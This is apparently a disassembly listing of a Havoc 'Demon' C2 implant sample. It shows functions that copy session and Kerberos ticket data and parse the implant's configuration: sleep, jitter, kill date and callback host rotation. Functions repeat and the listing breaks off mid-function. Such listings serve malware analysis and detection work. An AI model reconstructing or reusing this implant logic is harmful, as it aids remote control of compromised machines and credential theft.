File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
14000f430
14000f430CopySessionInfo:
14000f430push rbp
14000f431mov rbp, rcx
14000f434push rdi
14000f435mov rdi, rbp
14000f438lea rax, [rbp+1024]
14000f43fpush rsi
14000f440push rbx
14000f441mov rbx, rdx
14000f444sub rsp, 56
14000f448mov rsi, [rdx+24]
14000f44cmovzx ecx, [rdx+16]
14000f450rep movsb [rdi], [rsi]
14000f452mov rdi, rax
14000f455mov rsi, [rdx+40]
14000f459movzx ecx, [rdx+32]
14000f45drep movsb [rdi], [rsi]
14000f45fmov rsi, [rip+0x1cf0a]
14000f466xor ecx, ecx
14000f468mov [rsp+40], rcx
14000f46dmov eax, [rdx+4]
14000f470mov rcx, [rbx+72]
14000f474mov [rbp+2048], eax
14000f47amov eax, [rdx+8]
14000f47dmov [rbp+2052], eax
14000f483mov eax, [rdx+68]
14000f486lea rdx, [rsp+40]
14000f48bmov [rbp+2056], eax
14000f491call [rsi+1468]
14000f497test eax, eax
14000f499je 0x14000f4be
14000f49bmov rdx, [rsp+40]
14000f4a0lea rcx, [rbp+2060]
14000f4a7call StringCopyW
14000f4acmov rcx, [rsp+40]
14000f4b1call [rsi+940]
14000f4b7xor edx, edx
14000f4b9mov [rsp+40], rdx
14000f4be
14000f4beloc_14000f4be:
14000f4bemov rax, [rbx+80]
14000f4c2mov rsi, [rbx+56]
14000f4c6movzx ecx, [rbx+48]
14000f4camov [rbp+3088], rax
14000f4d1mov eax, [rbx+64]
14000f4d4mov [rbp+3096], eax
14000f4dalea rax, [rbp+3100]
14000f4e1mov rdi, rax
14000f4e4lea rax, [rbp+4124]
14000f4ebrep movsb [rdi], [rsi]
14000f4edmov rdi, rax
14000f4f0lea rax, [rbp+5148]
14000f4f7mov rsi, [rbx+96]
14000f4fbmovzx ecx, [rbx+88]
14000f4ffrep movsb [rdi], [rsi]
14000f501mov rdi, rax
14000f504lea rax, [rbp+6172]
14000f50bmov rsi, [rbx+112]
14000f50fmovzx ecx, [rbx+104]
14000f513rep movsb [rdi], [rsi]
14000f515mov rdi, rax
14000f518xor eax, eax
14000f51amov rsi, [rbx+128]
14000f521movzx ecx, [rbx+120]
14000f525rep movsb [rdi], [rsi]
14000f527mov [rbp+7200], rax
14000f52eadd rsp, 56
14000f532pop rbx
14000f533pop rsi
14000f534pop rdi
14000f535pop rbp
14000f536ret
14000f430
14000f430CopySessionInfo:
14000f430push rbp
14000f431mov rbp, rcx
14000f434push rdi
14000f435mov rdi, rbp
14000f438lea rax, [rbp+1024]
14000f43fpush rsi
14000f440push rbx
14000f441mov rbx, rdx
14000f444sub rsp, 56
14000f448mov rsi, [rdx+24]
14000f44cmovzx ecx, [rdx+16]
14000f450rep movsb [rdi], [rsi]
14000f452mov rdi, rax
14000f455mov rsi, [rdx+40]
14000f459movzx ecx, [rdx+32]
14000f45drep movsb [rdi], [rsi]
14000f45fmov rsi, [rip+0x1cf0a]
14000f466xor ecx, ecx
14000f468mov [rsp+40], rcx
14000f46dmov eax, [rdx+4]
14000f470mov rcx, [rbx+72]
14000f474mov [rbp+2048], eax
14000f47amov eax, [rdx+8]
14000f47dmov [rbp+2052], eax
14000f483mov eax, [rdx+68]
14000f486lea rdx, [rsp+40]
14000f48bmov [rbp+2056], eax
14000f491call [rsi+1468]
14000f497test eax, eax
14000f499je 0x14000f4be
14000f49bmov rdx, [rsp+40]
14000f4a0lea rcx, [rbp+2060]
14000f4a7call StringCopyW
14000f4acmov rcx, [rsp+40]
14000f4b1call [rsi+940]
14000f4b7xor edx, edx
14000f4b9mov [rsp+40], rdx
14000f4be
14000f4beloc_14000f4be:
14000f4bemov rax, [rbx+80]
14000f4c2mov rsi, [rbx+56]
14000f4c6movzx ecx, [rbx+48]
14000f4camov [rbp+3088], rax
14000f4d1mov eax, [rbx+64]
14000f4d4mov [rbp+3096], eax
14000f4dalea rax, [rbp+3100]
14000f4e1mov rdi, rax
14000f4e4lea rax, [rbp+4124]
14000f4ebrep movsb [rdi], [rsi]
14000f4edmov rdi, rax
14000f4f0lea rax, [rbp+5148]
14000f4f7mov rsi, [rbx+96]
14000f4fbmovzx ecx, [rbx+88]
14000f4ffrep movsb [rdi], [rsi]
14000f501mov rdi, rax
14000f504lea rax, [rbp+6172]
14000f50bmov rsi, [rbx+112]
14000f50fmovzx ecx, [rbx+104]
14000f513rep movsb [rdi], [rsi]
14000f515mov rdi, rax
14000f518xor eax, eax
14000f51amov rsi, [rbx+128]
14000f521movzx ecx, [rbx+120]
14000f525rep movsb [rdi], [rsi]
14000f527mov [rbp+7200], rax
14000f52eadd rsp, 56
14000f532pop rbx
14000f533pop rsi
14000f534pop rdi
14000f535pop rbp
14000f536ret
14000f430
14000f537
14000f537 // align 0x10
14000f537 // align 0x10
14000f540
14000f540CopyTicketInfo:
14000f540mov r8, rcx
14000f543push rdi
14000f544mov rax, rdx
14000f547push rsi
14000f548mov rdi, r8
14000f54bmov rsi, [rdx+8]
14000f54fmovzx ecx, [rdx]
14000f552lea rdx, [r8+1024]
14000f559rep movsb [rdi], [rsi]
14000f55bmov rdi, rdx
14000f55elea rdx, [r8+2048]
14000f565mov rsi, [rax+24]
14000f569movzx ecx, [rax+16]
14000f56drep movsb [rdi], [rsi]
14000f56fmov rdi, rdx
14000f572lea rdx, [r8+3072]
14000f579mov rsi, [rax+40]
14000f57dmovzx ecx, [rax+32]
14000f581rep movsb [rdi], [rsi]
14000f583mov rdi, rdx
14000f586mov rsi, [rax+56]
14000f58amovzx ecx, [rax+48]
14000f58erep movsb [rdi], [rsi]
14000f590mov edx, [rax+64]
14000f593mov [r8+4096], edx
14000f59amov edx, [rax+68]
14000f59dmov [r8+4100], edx
14000f5a4mov edx, [rax+72]
14000f5a7mov [r8+4104], edx
14000f5aemov edx, [rax+76]
14000f5b1mov [r8+4108], edx
14000f5b8mov edx, [rax+80]
14000f5bbmov [r8+4112], edx
14000f5c2mov edx, [rax+84]
14000f5c5mov [r8+4116], edx
14000f5ccmov edx, [rax+88]
14000f5cfmov [r8+4120], edx
14000f5d6mov eax, [rax+92]
14000f5d9xor edx, edx
14000f5dbpop rsi
14000f5dcpop rdi
14000f5ddmov [r8+4136], edx
14000f5e4mov [r8+4124], eax
14000f5ebxor eax, eax
14000f5edmov [r8+4128], rax
14000f5f4ret
14000f540
14000f540CopyTicketInfo:
14000f540mov r8, rcx
14000f543push rdi
14000f544mov rax, rdx
14000f547push rsi
14000f548mov rdi, r8
14000f54bmov rsi, [rdx+8]
14000f54fmovzx ecx, [rdx]
14000f552lea rdx, [r8+1024]
14000f559rep movsb [rdi], [rsi]
14000f55bmov rdi, rdx
14000f55elea rdx, [r8+2048]
14000f565mov rsi, [rax+24]
14000f569movzx ecx, [rax+16]
14000f56drep movsb [rdi], [rsi]
14000f56fmov rdi, rdx
14000f572lea rdx, [r8+3072]
14000f579mov rsi, [rax+40]
14000f57dmovzx ecx, [rax+32]
14000f581rep movsb [rdi], [rsi]
14000f583mov rdi, rdx
14000f586mov rsi, [rax+56]
14000f58amovzx ecx, [rax+48]
14000f58erep movsb [rdi], [rsi]
14000f590mov edx, [rax+64]
14000f593mov [r8+4096], edx
14000f59amov edx, [rax+68]
14000f59dmov [r8+4100], edx
14000f5a4mov edx, [rax+72]
14000f5a7mov [r8+4104], edx
14000f5aemov edx, [rax+76]
14000f5b1mov [r8+4108], edx
14000f5b8mov edx, [rax+80]
14000f5bbmov [r8+4112], edx
14000f5c2mov edx, [rax+84]
14000f5c5mov [r8+4116], edx
14000f5ccmov edx, [rax+88]
14000f5cfmov [r8+4120], edx
14000f5d6mov eax, [rax+92]
14000f5d9xor edx, edx
14000f5dbpop rsi
14000f5dcpop rdi
14000f5ddmov [r8+4136], edx
14000f5e4mov [r8+4124], eax
14000f5ebxor eax, eax
14000f5edmov [r8+4128], rax
14000f5f4ret
14000f540
14000f5f5
14000f5f5 // align 0x10
14000f5f5 // align 0x10
14000f600
14000f600DemonConfig:
14000f600push r15
14000f602xor eax, eax
14000f604mov ecx, 8
14000f609xor r11l, r11l
14000f60cpush r14
14000f60emov r9l, 518
14000f614mov r8l, 577
14000f61alea rdx, [rip+0x1d16f]
14000f621push r13
14000f623push r12
14000f625push rbp
14000f626push rdi
14000f627push rsi
14000f628push rbx
14000f629sub rsp, 136
14000f630lea rdi, [rsp+96]
14000f635mov [rsp+92], r11l
14000f63arep stosd [rdi], eax
14000f63clea rcx, [rip+0x1c148]
14000f643lea rdi, [rip+0x14b96]
14000f64acall printf
14000f64flea rax, [rsp+96]
14000f654mov r8l, 518
14000f65amov rdx, rdi
14000f65dmov rcx, rax
14000f660mov [rsp+72], rax
14000f665call ParserNew
14000f66amov ecx, 518
14000f66fxor eax, eax
14000f671rep stosb [rdi], al
14000f673mov rcx, [rsp+72]
14000f678lea rbp, [rsp+92]
14000f67dcall ParserGetInt32
14000f682mov rcx, [rsp+72]
14000f687mov [rip+0x14dd3], eax
14000f68dcall ParserGetInt32
14000f692mov r9l, [rip+0x14dc7]
14000f699mov r8l, 584
14000f69flea rdx, [rip+0x1d0ea]
14000f6a6mov [rsp+32], eax
14000f6aalea rcx, [rip+0x1c0fb]
14000f6b1mov [rip+0x14dad], eax
14000f6b7call printf
14000f6bcmov rcx, [rsp+72]
14000f6c1call ParserGetInt32
14000f6c6mov rcx, [rsp+72]
14000f6cbmov [rip+0x14e27], eax
14000f6d1call ParserGetInt32
14000f6d6mov r9l, [rip+0x14e1b]
14000f6ddmov r8l, 589
14000f6e3lea rdx, [rip+0x1d0a6]
14000f6eamov [rsp+32], eax
14000f6eelea rcx, [rip+0x1c0d9]
14000f6f5mov [rip+0x14e01], eax
14000f6fbcall printf
14000f700mov rcx, [rsp+72]
14000f705mov rdx, rbp
14000f708call ParserGetBytes
14000f70dmov edx, [rsp+92]
14000f711mov ecx, 64
14000f716mov rsi, rax
14000f719call [rip+0x15085]
14000f71fmov ecx, [rsp+92]
14000f723mov rdx, rbp
14000f726mov [rip+0x14dd3], rax
14000f72dmov rdi, rax
14000f730rep movsb [rdi], [rsi]
14000f732mov rcx, [rsp+72]
14000f737call ParserGetBytes
14000f73cmov edx, [rsp+92]
14000f740mov ecx, 64
14000f745mov rsi, rax
14000f748call [rip+0x15056]
14000f74emov ecx, [rsp+92]
14000f752mov r8l, 605
14000f758lea rdx, [rip+0x1d031]
14000f75fmov [rip+0x14da2], rax
14000f766mov rdi, rax
14000f769rep movsb [rdi], [rsi]
14000f76blea rcx, [rip+0x1c0a3]
14000f772mov rax, [rip+0x14d8f]
14000f779mov r9, [rip+0x14d80]
14000f780mov [rsp+32], rax
14000f785call printf
14000f78amov rcx, [rsp+72]
14000f78fcall ParserGetInt32
14000f794mov rcx, [rsp+72]
14000f799mov [rip+0x14d33], eax
14000f79fcall ParserGetInt32
14000f7a4mov rcx, [rsp+72]
14000f7a9mov [rip+0x14d27], eax
14000f7afcall ParserGetInt32
14000f7b4mov rcx, [rsp+72]
14000f7b9mov [rip+0x14d1f], al
14000f7bfcall ParserGetInt32
14000f7c4mov rcx, [rsp+72]
14000f7c9mov [rip+0x14d0b], eax
14000f7cfcall ParserGetInt32
14000f7d4lea rcx, [rip+0x1bfa5]
14000f7dbcmp [rip+0x14cf8], 0
14000f7e2lea rdx, [rip+0x1bf9c]
14000f7e9mov r9, rcx
14000f7ecmov [rip+0x14ced], al
14000f7f2movzx r8l, [rip+0x14ce4]
14000f7famovzx eax, al
14000f7fdcmove r9, rdx
14000f801mov [rsp+56], eax
14000f805cmp [rip+0x14cca], 0
14000f80ccmovne rdx, rcx
14000f810mov [rsp+40], r8l
14000f815lea rcx, [rip+0x1c03f]
14000f81cmov r8l, 620
14000f822mov [rsp+48], r9
14000f827mov r9l, [rip+0x14ca4]
14000f82emov [rsp+32], rdx
14000f833lea rdx, [rip+0x1cf56]
14000f83amov [rip+0x14cb0], 0x80000
14000f844call printf
14000f849mov rcx, [rsp+72]
14000f84ecall ParserGetInt64
14000f853mov r8l, 636
14000f859lea rdx, [rip+0x1cf30]
14000f860lea rcx, [rip+0x1c094]
14000f867mov r9, rax
14000f86amov [rip+0x14c0b], rax
14000f871call printf
14000f876cmp [rip+0x14bfe], 0
14000f87eje 0x14000f896
14000f880call GetSystemFileTime
14000f885cmp rax, [rip+0x14bf0]
14000f88cjb 0x14000f896
14000f88exor ecx, ecx
14000f890call [rip+0x14cd6]
14000f896
14000f896loc_14000f896:
14000f896mov rcx, [rsp+72]
14000f89bxor r12l, r12l
14000f89elea r13, [rip+0x1c09a]
14000f8a5call ParserGetInt32
14000f8aamov rcx, [rsp+72]
14000f8afmov rdx, rbp
14000f8b2mov [rip+0x14bcc], eax
14000f8b8call ParserGetBytes
14000f8bdmov rdx, [rip+0x153f2]
14000f8c4mov rsi, rax
14000f8c7mov eax, [rsp+92]
14000f8cbmov rdx, [rdx+96]
14000f8cflea r8, [rax+2]
14000f8d3mov rcx, [rdx+48]
14000f8d7mov edx, 8
14000f8dccall [rip+0x14c5a]
14000f8e2mov ecx, [rsp+92]
14000f8e6mov [rip+0x14b9b], rax
14000f8edmov rdi, rax
14000f8f0rep movsb [rdi], [rsi]
14000f8f2mov rcx, [rsp+72]
14000f8f7call ParserGetInt32
14000f8fcmov rcx, [rsp+72]
14000f901xor r10l, r10l
14000f904xor r9l, r9l
14000f907mov [rip+0x14b88], r9l
14000f90emov [rip+0x14b5b], r10
14000f915mov [rip+0x14b4c], r10
14000f91cmov [rip+0x14b6d], ax
14000f923call ParserGetInt32
14000f928mov r8l, 658
14000f92elea rdx, [rip+0x1ce5b]
14000f935lea rcx, [rip+0x1bfdd]
14000f93cmov r9l, eax
14000f93fmov esi, eax
14000f941call printf
14000f946
14000f946loc_14000f946:
14000f946cmp esi, r12l
14000f949je 0x14000f99c
14000f94bmov rcx, [rsp+72]
14000f950mov rdx, rbp
14000f953call ParserGetBytes
14000f958mov rcx, [rsp+72]
14000f95dmov rdi, rax
14000f960call ParserGetInt32
14000f965lea rdx, [rip+0x1ce24]
14000f96cmov r9, rdi
14000f96fmov rcx, r13
14000f972mov [rsp+32], eax
14000f976mov r8l, 664
14000f97cmov r14l, eax
14000f97fcall printf
14000f984mov edx, [rsp+92]
14000f988test edx, edx
14000f98aje 0x14000f997
14000f98cmov r8l, r14l
14000f98fmov rcx, rdi
14000f992call HostAdd
14000f997
14000f997loc_14000f997:
14000f997inc r12l
14000f99ajmp 0x14000f946
14000f99c
14000f99cloc_14000f99c:
14000f99ccall HostCount
14000f9a1mov r8l, 673
14000f9a7lea rdx, [rip+0x1cde2]
14000f9aelea rcx, [rip+0x1bfa6]
14000f9b5mov r9l, eax
14000f9b8mov [rip+0x14aba], eax
14000f9belea r15, [rip+0x1c064]
14000f9c5call printf
14000f9camovsx ecx, [rip+0x14abf]
14000f9d1call HostRotation
14000f9d6mov r8l, 677
14000f9dclea rcx, [rip+0x1bf9b]
14000f9e3mov edx, [rax+8]
14000f9e6mov [rip+0x14a7b], rax
14000f9edmov [rsp+32], edx
14000f9f1mov r9, [rax]
14000f9f4lea rdx, [rip+0x1cd95]
14000f9fbcall printf
14000fa00mov rcx, [rsp+72]
14000fa05call ParserGetInt32
14000fa0alea r9, [rip+0x1bd74]
14000fa11mov r8l, 681
14000fa17lea rdx, [rip+0x1cd72]
14000fa1etest eax, eax
14000fa20mov [rip+0x14a74], eax
14000fa26lea rax, [rip+0x1bd53]
14000fa2dlea rcx, [rip+0x1bf7f]
14000fa34cmovne r9, rax
14000fa38xor ebx, ebx
14000fa3axor r14l, r14l
14000fa3dcall printf
14000fa42mov rcx, [rsp+72]
14000fa47mov rdx, rbp
14000fa4acall ParserGetBytes
14000fa4fmov rdx, [rip+0x15260]
14000fa56mov rsi, rax
14000fa59mov eax, [rsp+92]
14000fa5dmov rdx, [rdx+96]
14000fa61lea r8, [rax+2]
14000fa65mov rcx, [rdx+48]
14000fa69mov edx, 8
14000fa6ecall [rip+0x14ac8]
14000fa74mov ecx, [rsp+92]
14000fa78mov r8l, 687
14000fa7elea rdx, [rip+0x1cd0b]
14000fa85mov [rip+0x14a12], rax
14000fa8cmov rdi, rax
14000fa8frep movsb [rdi], [rsi]
14000fa91lea rcx, [rip+0x1bf40]
14000fa98mov r9, [rip+0x149ff]
14000fa9fcall printf
14000faa4mov rcx, [rsp+72]
14000faa9call ParserGetInt32
14000faaemov rdx, [rip+0x15201]
14000fab5lea r13l, [rax+1]
14000fab9mov r12l, eax
14000fabcmov rdx, [rdx+96]
14000fac0lea eax, [r13+r13]
14000fac5lea r8, [8*rax]
14000facdmov rcx, [rdx+48]
14000fad1mov edx, 8
14000fad6call [rip+0x14a60]
14000fadcmov r9l, r12l
14000fadfmov r8l, 692
14000fae5lea rdx, [rip+0x1cca4]
14000faeclea rcx, [rip+0x1bf0e]
14000faf3mov [rip+0x149b4], rax
14000fafacall printf
14000faff
14000faffloc_14000faff:
14000faffcmp ebx, r12l
14000fb02jae 0x14000fb98
14000fb08mov rcx, [rsp+72]
14000fb0dmov rdx, rbp
14000fb10call ParserGetBytes
14000fb15mov rdx, [rip+0x1519a]
14000fb1cmov rsi, rax
14000fb1fmov rax, [rip+0x14988]
14000fb26mov rdx, [rdx+96]
14000fb2alea rdi, [rax+8*rbx]
14000fb2emov eax, [rsp+92]
14000fb32mov rcx, [rdx+48]
14000fb36mov edx, 8
14000fb3blea r8, [rax+2]
14000fb3fcall [rip+0x149f7]
14000fb45mov ecx, [rsp+92]
14000fb49mov [rdi], rax
14000fb4cmov rax, [rip+0x1495b]
14000fb53mov rdi, [rax+8*rbx]
14000fb57mov eax, r14l
14000fb5arep stosb [rdi], al
14000fb5cmov rax, [rip+0x1494b]
14000fb63mov ecx, [rsp+92]
14000fb67mov r8l, 700
14000fb6dlea rdx, [rip+0x1cc1c]
14000fb74mov rax, [rax+8*rbx]
14000fb78mov rdi, rax
14000fb7brep movsb [rdi], [rsi]
14000fb7dmov rcx, r15
14000fb80mov rax, [rip+0x14927]
14000fb87mov r9, [rax+8*rbx]
14000fb8binc rbx
14000fb8ecall printf
14000fb93jmp 0x14000faff
14000fb98
14000fb98loc_14000fb98:
14000fb98mov rax, [rip+0x1490f]
14000fb9fxor r8l, r8l
14000fba2xor ebx, ebx
14000fba4xor r14l, r14l
14000fba7mov rcx, [rsp+72]
14000fbaclea r15, [rip+0x1be76]
14000fbb3mov [rax+8*r13], r8
14000fbb7call ParserGetInt32
14000fbbcmov rdx, [rip+0x150f3]
14000fbc3lea r13l, [rax+1]
14000fbc7mov r12l, eax
14000fbcamov rdx, [rdx+96]
14000fbcelea eax, [r13+r13]
14000fbd3lea r8, [8*rax]
14000fbdbmov rcx, [rdx+48]
14000fbdfmov edx, 8
14000fbe4call [rip+0x14952]
14000fbeamov r9l, r12l
14000fbedmov r8l, 708
14000fbf3lea rdx, [rip+0x1cb96]
14000fbfalea rcx, [rip+0x1be41]
14000fc01mov [rip+0x1489e], rax
14000fc08call printf
14000fc0d
14000fc0dloc_14000fc0d:
14000fc0dcmp ebx, r12l
14000fc10jae 0x14000fcaa
14000fc16mov rcx, [rsp+72]
14000fc1bmov rdx, rbp
14000fc1ecall ParserGetBytes
14000fc23mov rdx, [rip+0x1508c]
14000fc2amov rsi, rax
14000fc2dmov rax, [rip+0x14872]
14000fc34mov rdx, [rdx+96]
14000fc38lea rdi, [rax+8*rbx]
14000fc3cmov eax, [rsp+92]
14000fc40mov rcx, [rdx+48]
14000fc44mov edx, 8
14000fc49lea r8, [rax+2]
14000fc4dcall [rip+0x148e9]
14000fc53mov ecx, [rsp+92]
14000fc57mov [rdi], rax
14000fc5amov rax, [rip+0x14845]
14000fc61add rcx, 2
14000fc65mov rdi, [rax+8*rbx]
14000fc69mov eax, r14l
14000fc6crep stosb [rdi], al
14000fc6emov rax, [rip+0x14831]
14000fc75mov ecx, [rsp+92]
14000fc79mov r8l, 716
14000fc7flea rdx, [rip+0x1cb0a]
14000fc86mov rax, [rax+8*rbx]
14000fc8amov rdi, rax
14000fc8drep movsb [rdi], [rsi]
14000fc8fmov rcx, r15
14000fc92mov rax, [rip+0x1480d]
14000fc99mov r9, [rax+8*rbx]
14000fc9dinc rbx
14000fca0call printf
14000fca5jmp 0x14000fc0d
14000fcaa
14000fcaaloc_14000fcaa:
14000fcaamov rax, [rip+0x147f5]
14000fcb1xor ecx, ecx
14000fcb3mov [rax+8*r13], rcx
14000fcb7mov rcx, [rsp+72]
14000fcbccall ParserGetInt32
14000fcc1lea rcx, [rip+0x1bdb8]
14000fcc8test eax, eax
14000fccamov [rip+0x147e6], eax
14000fcd0je 0x14000fe2c
14000fcd6lea r9, [rip+0x1bd8a]
14000fcddmov r8l, 725
14000fce3lea rdx, [rip+0x1caa6]
14000fceacall printf
14000fcefmov rcx, [rsp+72]
14000fcf4mov rdx, rbp
14000fcf7call ParserGetBytes
14000fcfcmov rdx, [rip+0x14fb3]
14000fd03mov rsi, rax
14000fd06mov eax, [rsp+92]
14000fd0amov rdx, [rdx+96]
14000fd0elea r8, [rax+2]
14000fd12mov rcx, [rdx+48]
14000fd16mov edx, 8
14000fd1bcall [rip+0x1481b]
14000fd21mov ecx, [rsp+92]
14000fd25mov r8l, 729
14000fd2blea rdx, [rip+0x1ca5e]
14000fd32mov [rip+0x14781], rax
14000fd39mov rdi, rax
14000fd3crep movsb [rdi], [rsi]
14000fd3elea rcx, [rip+0x1bd4f]
14000fd45mov r9, [rip+0x1476e]
14000fd4ccall printf
14000fd51mov rcx, [rsp+72]
14000fd56mov rdx, rbp
14000fd59call ParserGetBytes
14000fd5emov r8l, [rsp+92]
14000fd63mov rsi, rax
14000fd66test r8l, r8l
14000fd69je 0x14000fdb7
14000fd6bmov rax, [rip+0x14f44]
14000fd72mov edx, 8
14000fd77mov rax, [rax+96]
14000fd7bmov rcx, [rax+48]
14000fd7fcall [rip+0x147b7]
14000fd85mov ecx, [rsp+92]
14000fd89mov r8l, 736
14000fd8flea rdx, [rip+0x1c9fa]
14000fd96mov [rip+0x14725], rax
14000fd9dmov rdi, rax
14000fda0rep movsb [rdi], [rsi]
14000fda2lea rcx, [rip+0x1bd16]
14000fda9mov r9, [rip+0x14712]
14000fdb0call printf
14000fdb5jmp 0x14000fdc0
14000fdb7
14000fdb7loc_14000fdb7:
14000fdb7xor edx, edx
14000fdb9mov [rip+0x14702], rdx
14000fdc0
14000fdc0loc_14000fdc0:
14000fdc0mov rcx, [rsp+72]
14000fdc5mov rdx, rbp
14000fdc8call ParserGetBytes
14000fdcdmov r8l, [rsp+92]
14000fdd2mov rsi, rax
14000fdd5test r8l, r8l
14000fdd8je 0x14000fe21
14000fddamov rax, [rip+0x14ed5]
14000fde1mov edx, 8
14000fde6mov rax, [rax+96]
14000fdeamov rcx, [rax+48]
14000fdeecall [rip+0x14748]
14000fdf4mov ecx, [rsp+92]
14000fdf8mov r8l, 746
14000fdfelea rdx, [rip+0x1c98b]
14000fe05mov [rip+0x146be], rax
14000fe0cmov rdi, rax
14000fe0frep movsb [rdi], [rsi]
14000fe11lea rcx, [rip+0x1bcd7]
14000fe18mov r9, [rip+0x146ab]
14000fe1fjmp 0x14000fe40
14000fe21
14000fe21loc_14000fe21:
14000fe21xor eax, eax
14000fe23mov [rip+0x146a0], rax
14000fe2ajmp 0x14000fe45
14000fe2c
14000fe2cloc_14000fe2c:
14000fe2clea r9, [rip+0x1bcec]
14000fe33mov r8l, 753
14000fe39lea rdx, [rip+0x1c950]
14000fe40
14000fe40loc_14000fe40:
14000fe40call printf
14000fe45
14000fe45loc_14000fe45:
14000fe45mov rax, [rip+0x146e0]
14000fe4cmov rcx, [rsp+72]
14000fe51mov [rip+0x146b5], 2
14000fe5badd rax, 18
14000fe5fmov [rip+0x1467e], rax
14000fe66call ParserDestroy
14000fe6badd rsp, 136
14000fe72pop rbx
14000fe73pop rsi
14000fe74pop rdi
14000fe75pop rbp
14000fe76pop r12
14000fe78pop r13
14000fe7apop r14
14000fe7cpop r15
14000fe7eret
14000f600
14000f600DemonConfig:
14000f600push r15
14000f602xor eax, eax
14000f604mov ecx, 8
14000f609xor r11l, r11l
14000f60cpush r14
14000f60emov r9l, 518
14000f614mov r8l, 577
14000f61alea rdx, [rip+0x1d16f]
14000f621push r13
14000f623push r12
14000f625push rbp
14000f626push rdi
14000f627push rsi
14000f628push rbx
14000f629sub rsp, 136
14000f630lea rdi, [rsp+96]
14000f635mov [rsp+92], r11l
14000f63arep stosd [rdi], eax
14000f63clea rcx, [rip+0x1c148]
14000f643lea rdi, [rip+0x14b96]
14000f64acall printf
14000f64flea rax, [rsp+96]
14000f654mov r8l, 518
14000f65amov rdx, rdi
14000f65dmov rcx, rax
14000f660mov [rsp+72], rax
14000f665call ParserNew
14000f66amov ecx, 518
14000f66fxor eax, eax
14000f671rep stosb [rdi], al
14000f673mov rcx, [rsp+72]
14000f678lea rbp, [rsp+92]
14000f67dcall ParserGetInt32
14000f682mov rcx, [rsp+72]
14000f687mov [rip+0x14dd3], eax
14000f68dcall ParserGetInt32
14000f692mov r9l, [rip+0x14dc7]
14000f699mov r8l, 584
14000f69flea rdx, [rip+0x1d0ea]
14000f6a6mov [rsp+32], eax
14000f6aalea rcx, [rip+0x1c0fb]
14000f6b1mov [rip+0x14dad], eax
14000f6b7call printf
14000f6bcmov rcx, [rsp+72]
14000f6c1call ParserGetInt32
14000f6c6mov rcx, [rsp+72]
14000f6cbmov [rip+0x14e27], eax
14000f6d1call ParserGetInt32
14000f6d6mov r9l, [rip+0x14e1b]
14000f6ddmov r8l, 589
14000f6e3lea rdx, [rip+0x1d0a6]
14000f6eamov [rsp+32], eax
14000f6eelea rcx, [rip+0x1c0d9]
14000f6f5mov [rip+0x14e01], eax
14000f6fbcall printf
14000f700mov rcx, [rsp+72]
14000f705mov rdx, rbp
14000f708call ParserGetBytes
14000f70dmov edx, [rsp+92]
14000f711mov ecx, 64
14000f716mov rsi, rax
14000f719call [rip+0x15085]
14000f71fmov ecx, [rsp+92]
14000f723mov rdx, rbp
14000f726mov [rip+0x14dd3], rax
14000f72dmov rdi, rax
14000f730rep movsb [rdi], [rsi]
14000f732mov rcx, [rsp+72]
14000f737call ParserGetBytes
14000f73cmov edx, [rsp+92]
14000f740mov ecx, 64
14000f745mov rsi, rax
14000f748call [rip+0x15056]
14000f74emov ecx, [rsp+92]
14000f752mov r8l, 605
14000f758lea rdx, [rip+0x1d031]
14000f75fmov [rip+0x14da2], rax
14000f766mov rdi, rax
14000f769rep movsb [rdi], [rsi]
14000f76blea rcx, [rip+0x1c0a3]
14000f772mov rax, [rip+0x14d8f]
14000f779mov r9, [rip+0x14d80]
14000f780mov [rsp+32], rax
14000f785call printf
14000f78amov rcx, [rsp+72]
14000f78fcall ParserGetInt32
14000f794mov rcx, [rsp+72]
14000f799mov [rip+0x14d33], eax
14000f79fcall ParserGetInt32
14000f7a4mov rcx, [rsp+72]
14000f7a9mov [rip+0x14d27], eax
14000f7afcall ParserGetInt32
14000f7b4mov rcx, [rsp+72]
14000f7b9mov [rip+0x14d1f], al
14000f7bfcall ParserGetInt32
14000f7c4mov rcx, [rsp+72]
14000f7c9mov [rip+0x14d0b], eax
14000f7cfcall ParserGetInt32
14000f7d4lea rcx, [rip+0x1bfa5]
14000f7dbcmp [rip+0x14cf8], 0
14000f7e2lea rdx, [rip+0x1bf9c]
14000f7e9mov r9, rcx
14000f7ecmov [rip+0x14ced], al
14000f7f2movzx r8l, [rip+0x14ce4]
14000f7famovzx eax, al
14000f7fdcmove r9, rdx
14000f801mov [rsp+56], eax
14000f805cmp [rip+0x14cca], 0
14000f80ccmovne rdx, rcx
14000f810mov [rsp+40], r8l
14000f815lea rcx, [rip+0x1c03f]
14000f81cmov r8l, 620
14000f822mov [rsp+48], r9
14000f827mov r9l, [rip+0x14ca4]
14000f82emov [rsp+32], rdx
14000f833lea rdx, [rip+0x1cf56]
14000f83amov [rip+0x14cb0], 0x80000
14000f844call printf
14000f849mov rcx, [rsp+72]
14000f84ecall ParserGetInt64
14000f853mov r8l, 636
14000f859lea rdx, [rip+0x1cf30]
14000f860lea rcx, [rip+0x1c094]
14000f867mov r9, rax
14000f86amov [rip+0x14c0b], rax
14000f871call printf
14000f876cmp [rip+0x14bfe], 0
14000f87eje 0x14000f896
14000f880call GetSystemFileTime
14000f885cmp rax, [rip+0x14bf0]
14000f88cjb 0x14000f896
14000f88exor ecx, ecx
14000f890call [rip+0x14cd6]
14000f896
14000f896loc_14000f896:
14000f896mov rcx, [rsp+72]
14000f89bxor r12l, r12l
14000f89elea r13, [rip+0x1c09a]
14000f8a5call ParserGetInt32
14000f8aamov rcx, [rsp+72]
14000f8afmov rdx, rbp
14000f8b2mov [rip+0x14bcc], eax
14000f8b8call ParserGetBytes
14000f8bdmov rdx, [rip+0x153f2]
14000f8c4mov rsi, rax
14000f8c7mov eax, [rsp+92]
14000f8cbmov rdx, [rdx+96]
14000f8cflea r8, [rax+2]
14000f8d3mov rcx, [rdx+48]
14000f8d7mov edx, 8
14000f8dccall [rip+0x14c5a]
14000f8e2mov ecx, [rsp+92]
14000f8e6mov [rip+0x14b9b], rax
14000f8edmov rdi, rax
14000f8f0rep movsb [rdi], [rsi]
14000f8f2mov rcx, [rsp+72]
14000f8f7call ParserGetInt32
14000f8fcmov rcx, [rsp+72]
14000f901xor r10l, r10l
14000f904xor r9l, r9l
14000f907mov [rip+0x14b88], r9l
14000f90emov [rip+0x14b5b], r10
14000f915mov [rip+0x14b4c], r10
14000f91cmov [rip+0x14b6d], ax
14000f923call ParserGetInt32
14000f928mov r8l, 658
14000f92elea rdx, [rip+0x1ce5b]
14000f935lea rcx, [rip+0x1bfdd]
